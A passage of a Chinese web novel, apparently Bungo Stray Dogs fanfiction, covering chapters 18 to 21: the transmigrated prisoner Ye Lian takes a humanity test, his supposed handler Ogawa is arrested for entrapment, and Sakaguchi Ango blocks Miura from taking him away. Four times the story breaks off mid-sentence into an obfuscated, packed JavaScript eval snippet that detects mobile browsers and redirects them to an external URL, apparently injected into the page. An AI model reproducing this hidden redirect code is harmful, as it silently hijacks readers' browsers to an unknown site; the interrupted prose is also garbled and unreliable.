胃确实有亿点不堪重负,但他感觉自己的身体素质正在被加强。 这样下去,吃多少碗饭都不用怕。 ……实际上,那只是叶涟的错觉。 一碗饭能带给他的强化微乎其微,这般微量的强化,还无法让他感知到。 “不要用奇怪的称谓称呼我……我是说你的食量很不正常,不是推荐你去当大胃王!” “哦……” 叶涟有些腼腆地放下水桶,将空空的水桶在饮水机上摆正,不好意思道: “那个,小川大哥,我还想吃卤肉饭,要超级、超级、超级多的肉。” 胃开始胀痛,和他依然很饿有什么关系。 叶涟想张开手,比划肉的数量,但手铐限制了他的发挥,于是只能尽可能比划得多一点。 小川:……? 一碗加量的饭,加两三升的水,这都没能让他满足? 真的离奇了吧? 小川深深地吸了口气。 强行平静自己的心情。 “我们先来谈谈,你杀人的事。” “杀人……” 空气仿佛一下子安静了。 叶涟歪了歪头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122105|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 水珠顺着他的发丝、他的衣角,滴滴答答地向下淌。 在光洁的地面,积起透明的水泊。 叶涟的脸上,慢慢地浮现出一个浅淡的笑容,盯着小川的眼神,也变得耐人寻味起来。 “长官……你不是说,你不觉得我有罪吗?” “我确实不觉得你有罪——” 小川与他对视着。 叶涟的眼神,说实话,让他心里发毛。 那种眼神,就像大型猛兽没吃饱,看见了新的猎物。 他自己,就是那个被盯上的猎物。 可能下一秒就会葬身于猛兽的巨口之中。 为遮掩自己的心慌,小川也缓缓露出一个微笑,他扶了扶眼镜。 “你只是杀了……该杀的人。” “青木的死果然是组织授意的啊……” 叶涟低低地念了一句。 他走近小川,压低了声音,“你们要带我走?” 小川那时在囚室门外,朝他比的手势,是竖起两根手指比耶。 那可能并不是在比耶,而是在比“V”。 十六夜涟所在的,那个杀人放火、行迹诡谲的组织,就叫“V”。 然而,有一件事,叶涟不明白…… 神秘组织“V”,为什么要捞他? 如果叶涟没有被防伪局带走,仅仅只是嫌疑人,或者在警局里暂时被拘禁,V为了保住组织内部的秘密,可能会想办法捞他出去。 但是,他现在待在防伪局里。 防伪局的严密程度,一看就大于普通的警局。 而十六夜涟,只是V里的一个普通成员。 为了他这个普通成员,让好不容易潜伏进来的探子接触他? 不为杀人灭口,反而想带他逃离? “不。” 小川摇了摇头,“我不是来带你走的。” “那是?”叶涟疑惑地看着他。 “防伪局里,有人想保下你。” 小川道,“但也有人想将你处刑。想保下你的力量,和想将你作为伪人处刑的力量,谁也奈何不了谁,彼此陷入了僵持。” “正是因此……防伪局决定对你进行评估,评估你是一个‘伪人’、一个‘罪无可赦的人类’,还是说,一个……‘能够赎罪的人类’。” “等一下。” 叶涟压制着上去咬一口的冲动,摸了摸自己的嘴唇。 “防伪局里有人想保下我?谁?” 他不认识防伪局的人。 十六夜涟……记忆很混乱,但一个犯罪组织成员,也不应该和防伪局扯上联系。 怎么会有人想保下他? 情况很可疑。 “具体缘由,我们也不清楚。” “只知道想保下你的,是个身份地位很高的家伙,那人很神秘,疑似有异能力。” 小川道,“组织希望,你尽可能表现得无害些,通过防伪局的评估……潜伏到那个人身边,弄清楚他的异能,以及他想保下你的原因。” “这么说来……” 叶涟很快就理解了一切。 他迅速进入了卧底状态,声音压得更低了: “长官,你是我在这个地方的上线,对吧?” “……可以这样说。” 小川也是没想到,叶涟这么快就能接受现状。 “我会想办法帮助你通过评估。你有什么需要的信息或者物品,我会尽全力帮你弄到手。” “那我要不要取什么炫酷的代号?” 叶涟悄悄地问,“比如‘波本’、‘苏格兰’、‘乌丸莲耶’……” “你进入状态是不是略快了啊我说……” 什么乱七八糟的代号。 前两个也就算了,最后那个是什么。 小川扯了扯嘴角,“不用,暂时没必要这么花里胡哨。” “啊?不用代号吗?” 叶涟失望地叹了口气。 “也不是……你先通过评估再说这个吧!” 到底在失望什么。 小川觉得,光是和叶涟聊天,都有点让人虚脱。 “那就是真的有代号咯?长官,你的代号是什么?” 闻言,叶涟又精神了起来,问题一个接一个。 “还有还有,假如我获得什么关键情报,我要怎么联系你呢?我们有没有秘密的联系暗号?像天王盖地虎……” “……停!” 小川的脑壳被吵得发疼,他拿起桌上的文件,塞给叶涟。 “这个是防伪局特制的心理测试量表,以及辨别人类和伪人的测试卷。你先照着我说的填上。” “哦……” 叶涟乖巧地坐回到椅子上,拿起黑笔。 盯着题目看了两秒,又期待地抬起头。 “长官,写完之后,能不能有卤肉饭?” “……” 小川竖起两根手指,咬牙切齿,“两碗。给你加肉。” “真的?!” 叶涟欢呼一声,快活地握紧笔,低声哼起歌来。 就在这时,心理咨询室的门,倏地被人踹开了! 之前见过的侦探,带着数个身穿制服、手持枪支的人,大步走了进来。 他们的枪口,对准了小川和叶涟! “小川君。” 乱步拉着自己的帽檐,扬起一个灿烂的笑容: “你被捕了!” 18.第18章 “等一下、等一下……乱步先生,这是怎么一回事?” 小川吃惊不已,下意识就举起了双手。 “就是字面上的意思哦,小川君。”乱步眯眼笑道。 “什么……” 小川一副很困惑的样子。 如果不是叶涟知道他的身份,真要被他的模样骗过去。 “乱步先生……唉,您是搞错了吧?”小川苦笑。 “不、没有搞错呢,抓的就是你。有很多人都和我说过这种话,什么‘你一定是推测错了’、‘不可能是你说的这样’,但事实无不证明,名侦探是不会搞错的。” 乱步挥了挥手,让身后的武装人员将小川拷走。 小川后退半步。 他不自觉地望向叶涟,朝其递去求助的眼神。 其实,叶涟在小川心中,是一位全身上下都染着恐怖色彩的存在—— 这位仿佛是人、又不那么似人的家伙,行为匪夷所思,话语细思极恐…… 常人完全无法理解他的所思所想。 不是普通人对于顶尖天才那样的无法理解,而是普通人对于与人类迥乎不同的怪诞生物的无法理解。 这种无法理解,会给普通人带来极高的未知恐惧。 小川本身,对叶涟隐含恐惧,也不想与其有工作外的更多接触…… 然而,此时,叶涟是唯一能帮到他的人。 叶涟可以作证,他只是在平平无奇地进行心理评估,没有做多余的事。 “……?” 叶涟茫然地与小川对视。 先不提名侦探确实没搞错…… 即使他仗义执言,用不知道是否存在的人格担保小川不是坏人,也没有用啊。 他一个囚徒说的话,又是V的成员,又有杀人嫌疑,为小川说话,只会起到适得其反的效果。 至于带着小川冲破包围圈逃跑…… 窗外一片漆黑,但能隐约看见树影,楼层不是很高的样子。 加上催眠能力与人鱼的歌声,确实有逃跑的可能。 然而,先不说是否能够真的跑掉…… 若是真的跑了,紧张刺激的卧底计划不就大失败了吗? 组织的任务,还没开始就结束了! 不要啊,他的超级炫酷的代号还没想好呢! 叶涟眨眨眼。 又换了个角度认真思考了一下。 他觉得…… 自己应该是想错了长官眼神的含义。 长官既然能潜伏进防伪局,身上肯定有了不得的本领。 在防伪局单枪匹马、七进七出,想来不在话下! 所以,应该是他看错了。 长官不是在向他求助,而是在告诉他,要好好看、好好学,看看一个顶级卧底是怎么逃出困境的! 并且鼓励他,要当一个成功的卧底,一定要成功潜入,一定不能暴露身份! 说不定,还想着一了百了,反正都暴露了,干脆让他揭穿身份,以做高叶涟自身的身份…… 谍战剧都是这么演的。 何等伟大的为了后辈牺牲的精神,泪目! 但是……他怎么可能揭穿长官呢? 叶涟不忍心! 虽然他和小川也不是很熟,但也是一碗饭、一桶水的交情。 长官还说回头再给他两碗饭呢——辜负卤肉饭的事他做不到! 还是等以后,看看能不能将长官捞出来吧…… 从前是你捞我,以后由我捞你,这就是属于V的羁绊啊! V好像不是什么好东西……算了不管了,他和小川长官,如此深厚的羁绊,堪称伯牙和绝弦。 等他成功卧底进防伪局,填饱肚子,一定会救长官出来! 叶涟的眼神,逐渐变得坚毅。 小川:? 不是,你盯着我干嘛呢。 倒是说句话啊! “停、停——” 见武装人员真的包围上来,小川连连后退。 十六夜涟靠不住,只能靠自己了。 “就算您是名侦探,也不能无缘无故抓我吧?” 小川镇定道,“这是违反规定的行为。您不给我个说法,我一定会向监察科举报您和侦探社的。” “真不巧,我这里有监察科的文件。” 乱步拿出了一张盖着公章的纸页。 叶涟好奇地看去。 关于小川和真停职接受调查的通知…… 坏了,他这位大哥好像是真要被逮捕了! 小川盯着文件,一目十行地扫过。 见武装人员又要过来铐他,他连忙道: “不对,等一下——这上面说我有违反规定,可我没有啊,我全是按三浦大人说的做的!” “是吗。” 乱步笑着拉开一张椅子,坐到了叶涟的对面、小川的身前。 “把他让你做了什么,全部说出来。” “这……”小川看了一眼叶涟。 “你自己也知道,他让你做的是违规的事吧?” 乱步的唇角勾着微笑,眼神却是冷淡无比,“不想说?那就带走……” “等等,我说——” 小川缓缓吐出一口气。 “三浦大人很不赞同分析科给出的报告,他还是认为十六夜涟是伪人,所以让我带着测试题来评估他。” “这件事我知道。总务部也批准了。” 乱步说,“还不肯坦白吗?你违规的是另外的事。” “我……” 小川张了张嘴,终于是说出了真相。 “三浦大人让我想办法拿到,‘十六夜涟是V的成员,且本身并不抗拒V’的证据。” “……诶?” 叶涟没想到,吃瓜吃着吃着,会吃到自己身上。 他愣愣地看着小川。 “但是这也不算违规啊!” 小川没去看他,反而下意识离他远了一点,不停地为自己辩解着。 “十六夜涟他确实是V的成员,三浦大人说的都是对的,是分析科想包庇他,该被停职的是分析科的人才对!” “分析科已经给出了他不是伪人的结论。” 乱步平静地说,“总务部的指示是暂作观察,而调查青木案件是搜查科的事——确认青木案件的真相,和你没关系。你要做的只是评估他是否是人类、或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128371|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于人类阵营。” “但三浦大人是行动部的二把手,他的命令我总不能直接——” “不好意思,能稍微停一下吗?” 叶涟慢慢地举手道,“‘拿到我是V的成员、且不抗拒V’的证据……是什么意思?” 乱步仿佛现在才看见他,瞥了他一眼: “这种事情想想就能知道吧?” “侦探大人,拜托了。” 叶涟双手合十,“我也想像您这样神机妙算、聪明伶俐、博学多才、全身开挂,但我没有神明般的大脑。” “既然你都这么说了……”乱步嘀咕了一句。 好像其中混入了什么奇怪的词? 没关系,反正也是夸奖。 名侦探脸上本来有些褪去的笑容,再次变得灿烂起来。 他注视着叶涟。 “虽然你是人类,但局里有人不认可这个结果。” “总务部相信分析科的结论,所以有人想以别的方式,让你接受‘应有的审判’。” “在青木君的死亡现场,除了你,还有组织V的成员。搜查科难以判断,你是出于主观故意,主动杀死青木君,还是在V的胁迫下杀死了他。” “因此,只要假扮V的成员,确认你并不是在V的胁迫下杀死青木,而是自愿为V做事,他们就可以将罪名钉在你的身上。” “小川君——就是他们派来的人。” “……” 叶涟转过头,看向小川和真。 小川和真低着头,似乎默认了乱步的话。 安静了数秒,小川又抬起头,争辩道,“这也是一种调查评估的方式……” “不,这是诱导。”乱步微笑着。 “我没有诱导,他确实是V的成员。” 小川用手指向叶涟,“他对于V的事务参与得极其主动,根本不是情报部推测的那样受到胁迫——” “带走。”乱步摆了摆手,让武装人员将小川铐起来,架出房间。 叶涟拿着笔,一动不动地坐在椅子上。 到现在,他也彻底明白是怎么一回事儿了—— 小川根本不是他的长官。 给他一顿饭的好心人根本不是出于好心,反而是想让他死! 怎么这样! 又是被绷带杀,又是被老虎咬,他那千疮百孔的心想要再相信别人一次,是多么困难啊,结果真心再次错付。 卧底计划怎么办,他还想着要一个究极无敌帅炸天的代号呢…… 还有他的卤肉饭——两碗加肉版香喷喷卤肉饭,也飞走了! 叶涟的悲伤逆流成河。 他双目无神,瘫在椅子上,感觉可以给自己唱一首二泉映月。 “十六夜君。” 乱步翻了翻桌上的测试题。 “虽然我是觉得没必要,但既然你在,就填一下这些评估题吧。里面有些问题,我也很好奇你会怎么回答呢。” “……” 叶涟的目光移向测试卷。 差点忘了还有这个。 小川还没来得及告诉他答案—— 万一测出来他不是人类,那岂不是真的完蛋了?! 19.第19章 “我能不能问一下……” 叶涟无力地抬了抬手,“是谁非要审判我?他也有病吗,为什么非要和我这个狂犬病较劲?我虽然乱咬人,但我没咬到他吧??” “无可奉告——” 乱步给了个理所当然的回答。 这种信息,没有告诉叶涟的必要。 不过这家伙,真就那么自然地以狂犬病自居了啊…… “那我能不能知道,如果这个测试卷,测出的结果为‘不是人类’……” “会死哦。”乱步笑道。 叶涟:“……” 这下不得不严肃做题了。 评估卷上,大部分是选择题,还有少量的填空题和简答题。 如果叶涟还是高三时候的他,区区做题根本难不倒他。 但他穿越时,已是大学生。 倒不是大学生就会被做题难倒,主要是他真的很遗憾那两碗卤肉饭。 “其实……我有看见题目就会很饿的病。”叶涟弱弱地说。 “其实我也有看见犯人不回答问题,就想把他关起来的病。”乱步用一只手支着自己的脑袋。 “喂……我才不会被这种话恐吓呢。” “一般情况下,说出这样的话就表示已经被恐吓到了。”乱步揭穿他。 “你不怕我咬你吗?侦探君……” 叶涟不知不觉就走神了,笔无意识地在纸页上画着圈圈。 他的眼睛盯着乱步,嘴角不知不觉就扬起了浅淡的笑容,仿佛看见了什么美味的食物一般。 “我现在……可还是很饿。” 虽然之前用歌声勉强克制了一下思维,并用一碗饭、一桶水,勉强满足了一点食欲…… 但只要不摘下称号,食欲就无休无止。 侦探的肉,想来会很鲜美吧? 俗话说得好,吃什么补什么,吃个侦探下去,会不会有变聪明的效用? 不知名的名人曾经说过,僵王博士就是因为吃了很多博士的脑子,才能制造出巨型机器人。 由此可得,只要他吃掉侦探的脑子,就能成为超级侦探。 “友情提醒你一下,不管你有多饿,这两张测试卷有完成时限。” 乱步见过很多罪犯,也见过很多罪犯看自己的眼神。 大多是恐惧、震惊、麻木、悲伤,有时也会有人恼羞成怒。 唯独没见过叶涟这种眼神…… 这种对自己垂涎三尺的眼神。 ……情报部不会真的包庇了这小子吧。 即使乱步很相信自己的判断,既不认为情报部会撒谎,也不认为他们对信息的专业收集分析会有错误。 但看着叶涟的眼睛,他还是很难不冒出“该不会眼前的十六夜涟真的是伪人”的念头。 “能不能S属性大爆发一下?”叶涟问。 “……什么?” “就是……skip。” 叶涟拿着黑笔,在空气中比比划划,“跳过。” “?” 当这是游戏呢。 乱步凝望着他。 虽然什么话都没说,但一切尽不在言中。 “好吧。” 叶涟瘪着嘴,唰唰地动笔继续写。 一边写,一边哼歌,他自己也不知道,自己在哼唱什么旋律。 只要能压下脑海中乱窜的思维,就是好旋律。 “怎么样?”叶涟忽然问。 “什么怎么样?” “就是我唱的歌啊,好听吧?” 叶涟在试题卷上飞速地勾勾写写。 小时候的他,一度觉得自己能成为大歌星。 打败歌星梦的既不是五音不全,也不是数学。 而是果冻广告。 看完果冻广告后,年少的叶涟决定当太空人。 再后来,他又接连有了当大侦探、科学怪人、法医、电竞选手等梦想。 如今不仅是一个也没实现,还成为了一名光荣的伪人(疑似)。 如果能回到过去,叶涟一定要和自己说…… 能是人类已经很棒了! 生而为人,打败全世界百分之九十九的伪人! “原来如此……” 乱步看着他在纸上写下的答案,“涟君——你不是十六夜涟吧?” “诶?” 叶涟的笔一顿。 “开玩笑的啦——” 乱步眯眼笑了笑,上半身向后靠,慵懒地张开双臂,伸了个懒腰。 “在‘是否认为自己是人类’那一栏上,毫不犹豫地填了‘是’呢,涟君?” “难不成要填‘不是’吗?” 叶涟理所当然道,“这种问卷根本没有什么用处吧,一眼就能看出‘正确’答案。” 就和学校的心理健康问卷差不多,既不能判断学生心理是否健康,也不能让学生心理健康。 只不过伪人测试卷更加奇怪。 除了“是否认为自己是人类”,还有什么“一年有多少天”、“星期七之后是星期几”、“如何处置人类的尸体”、“喜欢吃西红柿炒草莓的生物是否是伪人”…… 没有非常复杂的题目,但汇成一张卷子,就显得颇为诡异。 “要我说,倒不如去怀疑,出这种题目的家伙真的是人类吗……” 叶涟写完所有题,感觉自己写得有点力竭。 让他写这种题的人应该向他支付动笔的费用。 “有个好消息要告诉你。” 乱步站起身,收走叶涟面前的测试卷。 “有这样的疑问,就说明涟君十有八九能被确认为人类了。” “通常这么说,背后都会跟着一个‘坏消息’……” 熟知套路的叶涟并不为此高兴。 “正是如此——” 乱步晃了晃卷子,“就算你真的是人类,只要小川君作证你与V ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133584|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关系匪浅……” “?测出‘不是人类’会死,结果测出‘是人类’,还是没有活路啊!” 叶涟考虑着,要不要提出吃一顿断头饭。 死前饱餐一顿,很合理吧? 不对不对,怎么能这么轻易地死掉。 断头饭只能当借口,真到要死的时候,还是得挣扎一下的。 叶涟啊叶涟,你可是有系统的人,怎么能安心等死! 等等…… “既然横竖都是死,为什么我要做这种拟人的卷子?”叶涟迷惑地看向乱步。 这些题目虽然不至于给人类的大脑带来重创,但也能给人的心灵带来暴击。 根本没必要写嘛! “因为想看看涟君能有多饿。” 乱步笑眯眯的,示意武装人员将叶涟带走。 “……?” 叶涟一边被武装人员如抓小鸡似的架起来,一边像刷新了认知般看着乱步。 被研究员骗也就罢了,还被侦探忽悠…… 不是,这对吗?! …… 一天后。 由于囚室没有窗户,也没有钟表,叶涟只能用脉搏计数的方法计算时间。 众所周知,成年人的心率在60到100次每分钟。 只要事先记下自己平静状态下的每分钟心率、控制着呼吸和心跳平稳,按着自己的腕部计数…… 然后就可以得到一场酣畅淋漓的睡眠。 叶涟一觉睡醒,神清气爽,唱歌也倍儿有力气。 除去饿得在床铺上蛄蛹,其余的一切都很完美。 叶涟一边唱歌,一边寻思着,自己要不还是去讨一份断头饭吃。 或者在这装死,看会不会有人来用水浇醒他。 没等他实施装死计划,又有人打开了囚室的门。 是两个武装人员。 制服看上去和此前的安保、以及乱步带的人都不一致。 “这又是要去哪?” 叶涟见两人带着自己走进电梯,好奇地问。 然而,并没有得到回应。 这些人的嘴还挺严实。 叶涟的目光四下游移,盯着亮起的“1楼”按钮,不知不觉又开始哼歌,不过很快就被粗暴地打断。 其中一个褐发的青年,拿枪直接顶在了他的脖颈上,眼神冰冷无比。 力度之大,压得他的脑袋都不由自主地向旁边侧过去。 “不唱就不唱嘛……” 叶涟嘀咕着,嘴唇无意识地上下抿了抿。 电梯门打开,三人走出去。 两个武装人员带着他往侧门方向走。 侧门,就是离开的门。 ……这是要带他出防伪局? 不会是要找个无人的地方,把他毙了吧? “两位大哥……” 叶涟小心翼翼地问道,“咱们这一走,还回局里吃饭吗?” 20.第20章 两个武装人员不语,只是一味地用枪指挥着他向前走。 叶涟的眼神瞥向其他地方。 一楼大厅很空旷。 电梯前、大门通道口以及侧门前,都分布有安保人员。 这些安保人员对于他们三人没有任何反应。 也就是说,两个武装人员将他带走,在防伪局安保眼中是合理的。 有这么多监控,在众目睽睽下把他带出去…… 应该不用担心会被悄悄处决。 但是,叶涟总觉得,自己又被做局了。 这种感觉倒不用什么证据。 主要是他穿越以后,就一直在被做局,根本没有停过! 从家门口的绷带怪物,到防伪局的小川和真,所有他相信过的人,都让他输得那么彻底! 这两个用枪一直指着他,眼神还冷得和冰块似的家伙…… 难道还能是什么好人不成? 再者…… 这防伪局是一个风水宝地,他才来多久?就抽了两次高级抽牌。 如此宝地,断断不可离开啊! 叶涟的脚步越来越慢,最终停在了原地。 “两位长官……” 他稍稍偏过头去。 “我要吃饭!” 两个武装人员没理叶涟,一句话都不说,用枪口推了推他。 这下叶涟是打死也不走了。 小川至少还会口头给他画个饼呢。 这两人不仅不带他吃饭,连承诺一句“回头带你吃个够”都不愿意说,包坏的! 机智的叶涟已经看透了一切,当即转过身: “我有狂犬病,给我吃饭!不然我会发狂,我饿坏了我就乱咬人!我要把你们统统咬死!” 两个武装人员瞪着他,像是想用眼神把他凌迟。 尤其是那个褐色头发的青年,拧着眉毛,当即给枪上了膛。 叶涟却是无所畏惧。 他不仅不害怕,反而摆出一副死猪不怕开水烫的架势,漫不经心地笑了起来。 这里这么多人,这么多监控。 你一个防伪局的职员,敢直接打我啊? 叶涟并不知道,在他人眼中,他的笑容是多么令人心底发寒。 而他的眼神,又是多么漠然—— 那是一种对任何事物都漠不关心、对他人与自己的生命都毫不敬畏的眼神。 褐发青年二话不说,抬腿一脚踹在了叶涟的膝关节上! 而后,另外一个武装人员默契地配合着他的动作,直接一个擒拿,将叶涟的双手束在身后,似是要强行将他拖出门外! “痛痛痛——什么呀,我要举报你们虐待病弱囚犯!” 叶涟奋力挣扎,深吸一口气。 他要准备唱歌了。 他这个人,多少是有些叛逆的。 要是好声好气地请他出去,他说不定真会答应。 但用暴力让他出去? 他就是死,也要死在防伪局! 就在这时,一连串的脚步声从电梯方向传过来。 “住手。” 一道叫停声响起。 那声音的音量并不大,甚至语气都不怎么激烈,只是平淡地回响在一楼的大厅中。 叶涟却是停住了挣扎。 此时,他已经被拖拽了一小截距离,整个人坐在地上。 由于双手被铐着,他也很难还击或者做出更激烈的动作。 两个武装人员也转过头,望向那人的方向。 那是一个身穿偏暗的棕红色西服,西服外还披着深灰色长外套的青年。 其戴着圆框眼镜,嘴角有一颗小痣,样貌斯文,但气场如同暴风雪天的结冰瀑布,让人难以接近。 【检测到图鉴人物,获得一次抽牌机会。】 【当前抽牌机会:3】 “谁让你们带走他的?” 青年走近了。 在他的身后,一左一右跟着两名护卫。 护卫的手上没有枪,看着两个武装人员,神情谨慎,却没有半点戒备的神色——他们并不畏惧枪支。 “劳您亲自过来啊,坂口参事官。” 褐发的武装人员盯着眼镜青年,脸上慢慢露出一个轻蔑的笑容。 他的枪口,依然对着叶涟。 “行动部的事情,似乎轮不到你们管吧?” “十六夜涟是局里的重要嫌犯。” 坂口安吾平静地扫了一眼叶涟。 “未经过审查,没有人有权将他带出防伪局,包括你在内,三浦君。” “不。” 三浦笑了笑,“恰恰相反——我们必须带走他。” “……” 安吾想到了什么,微不可察地皱了皱眉。 “十六夜涟涉嫌杀害青木怜央,我们要在四十八小时内,将他以及所有的物证、文书,移交给检察厅。这是法律的规定,我只是照着规矩办事。毕竟,我可不像某些人……” 三浦意有所指,一字一顿道,“滥.用.职.权。” “你胡说些什么呢——!” 安吾身后的护卫上前一步,朝三浦怒目而视,被安吾抬手拦下。 “手下还是要好好教育,您说是不是?”三浦笑道。 “不劳您费心。” 安吾慢慢地走近他。 却是看也不看三浦一眼,而是站定在叶涟身前,轻轻俯身,朝叶涟伸出了手。 乌黑发丝垂下,数缕飘到了眼镜前,但宁静的绿色眼眸依然专注地看着叶涟。 希望的颜色。 叶涟的眼睛,慢慢地睁大了。 “还能站起来吗?”见他愣在地上,安吾低声问。 “……能。” 叶涟小心地握住安吾的手,在其搀扶下,摇摇晃晃地爬起来。 天可怜见,从穿越到现在,遇到的所有人要么对他身体上拳打脚踢,要么是精神上拳打脚踢,还没人对他这么轻声细语过呢! 虽然很容易看出,那并不是“温柔”的轻声细语,而是“太疲倦没力气大声说话”的轻声细语…… 但这也是迄今为止,对他最好的人! 三浦的脸色一下子变得很难看,将枪管横亘在了安吾和叶涟之间。 “坂口君,还是不要耽误我们办事了吧?” “十六夜涟的案子涉及伪人,不属于普通的刑事案件。” 安吾看向三浦,“不需要移交,还是归我们防伪局管辖。” “涉及伪人?” 三浦冷冷地笑了。 “谁是伪人?青木是人类,按照你们的报告,十六夜涟也是人类,可能在现场的V的成员也是人类——到底谁是伪人?您是伪人吗?” 叶涟听到这话,不由得看了小地图一眼。 周围都是红点——都是人类。 这位姓氏为坂口的长官,不存在是身为伪人才来帮助他的可能。 所以为什么,会想保下他呢…… 坂口长官,和小川一样另有目的? 虽然很不愿意这样想…… 但似乎也没有别的答案。 叶涟将心中升起的一丝感动强行压下去,悄悄地去看坂口长官的表情。 一连串的质问,接二连三的冒犯,都没有打碎安吾的平静。 他的声音依然冷静: “案件的调查与移交相关事宜是搜查科的职责,三浦君,您带领的特殊紧急救援队伍,负责的是伪人的清剿行动,不应该插手此事。” “你想从内部的规定上压我?真不好意思啊,除了清道夫一队的队长,我也是整个行动部的副部长! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138006|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 三浦提高了音量,“不管是搜查科还是清道夫,都是我的下属。” “但你负责的工作并不是搜查科——算了,既然你执意和我讲程序,那我也说说程序。” 安吾注意到三浦的枪是上膛状态,视线逐渐冷了下来。 他伸手握住了枪身,但语调还是不紧不慢。 “你转移十六夜涟,案件移送书没有经过总务部的会议审查。我说的没错吧?” “哈?外行就是外行。” 三浦嗤笑道,“案件移送书,让搜查科的科长签个字就可以了。” “若是寻常的刑事案件,被误认为伪人相关案件,的确如此。” 安吾平淡地看着他。 “但搜查科在十六夜涟的家中发现了三具人类尸体,这三具尸体的面容与十六夜涟完全一致。由此可判断,虽然不是伪人相关的案件,却也绝非普通的刑事案件。这种案件,需要经过总务部的会议审查,才能移交到别的部门。” “这些乱七八糟的规定……”三浦瞪着安吾。 “这些规定的确没有写进法律,但仅仅是一个‘危险生物’,就已经引起民众们的恐慌情绪,想让这些非自然的事件有一个可遵循的律法,在很长时间内都是无法做到的事情。” 安吾将枪口撇到一边,握住叶涟的手,将其拉到了自己身边。 “正是因此,遵守我们内部的规定和纪律,尤为重要……” “你说的这些我当然知道!” 三浦粗鲁地打断了安吾的话。 他的目光闪烁不定,视线飘到大厅墙上的公告栏上,那里贴着关于对小川的处分公告。 很快,他的视线又移转回来,冰冷地盯着安吾。 “但是监察科也有疏漏的时候,比如,你。” “我不知道你在说什么。”安吾说。 “最擅长搜集情报的人,也是最擅长隐瞒信息的人。我不相信你,还有……” 三浦抬起枪,指着叶涟,“我不相信,这个家伙。” “你的意思是,你不相信我们给出的报告,反而迷信自己的直觉,是吗?”安吾平淡道。 “然而事实就是,你们的报告,未必比我们的经验更加可信。” 三浦沉凝地说,“和活着的伪人打交道最多的人,既不是研究部,也不是你们情报部,而是我们清道夫!” “日常能见到的伪人有三种:连伪装成人类都不像样的低级伪人,能够近乎完美地伪装成人类的普通伪人,以及能够流畅切换不同人类身份、甚至使用特殊能力的高级伪人。” “这个家伙,明显就是极端危险、极端擅长伪装的高级伪人!” 三浦死死地盯着叶涟,恨不得一枪崩了他。 “在观察室的发狂症状,正是他是伪人的一种证明。” “若人类有明面上的强武力威胁,他会伪装成正常的模样,而倘若有‘无害的人类’靠近,他就无法控制自己杀戮与模仿的本性!” “三浦君。照你这么说……” 安吾垂下眼眸,“有特殊病症,或仅仅是情绪失控的人类,也会成为你口中的伪人。” “那不一样——” 三浦反驳着,脸上浮现出一个讥讽的笑容: “虽然你声称十六夜涟是人类,但坂口参事官……你也不敢真正靠近他吧?” “……哦?” “你和他如今的距离,对擅长伪装的高级伪人而言,尚且也只是‘他能够克制住自身’的安全距离。如果你——” 三浦话未说完,安吾就抬起了手。 在其难以置信的眼神中,平静地将手覆在了叶涟的嘴唇上。 而后,慢慢用手指撬开了叶涟的唇缝和牙齿,将手塞进了他的口腔。 “这样的话,就是危险距离了吧?” 21.第21章 坂口长官的手指,白皙而干燥。 叶涟的舌头,贴着温热的皮肤,尝到一种麻而干涩的感觉。 他一动不动地站在原地。 恶意,与疯狂的饿意,撕扯着要让他狠狠咬下去! 肉,好香的肉! 还有那皮肤之下,如溪流般汩汩涌动着的血! 属于饕餮的饥饿感觉,与缺水的渴感,让他的牙齿不自觉地发颤。 叶涟的喉咙动了动,指尖用力掐进掌心的肉,身体也开始轻微地颤抖。 光是想想就能知道,如果能一口吃掉,那是何等的震撼美味…… 然而,数秒过去,他却是硬生生地控制住了自己,没有咬下。 叶涟后退两步,吐出安吾的手,弯腰干呕起来。 “看吧。十六夜君……” 安吾看着自己悬在空中的手,以及手指间的透明涎液,随意地放在叶涟的外套上擦了擦。 “很安全。” “长官……你不觉得我们这样太暧昧了吗?” 叶涟低着头,一只手撑着自己的腿,另一只手抹去嘴角的口水。 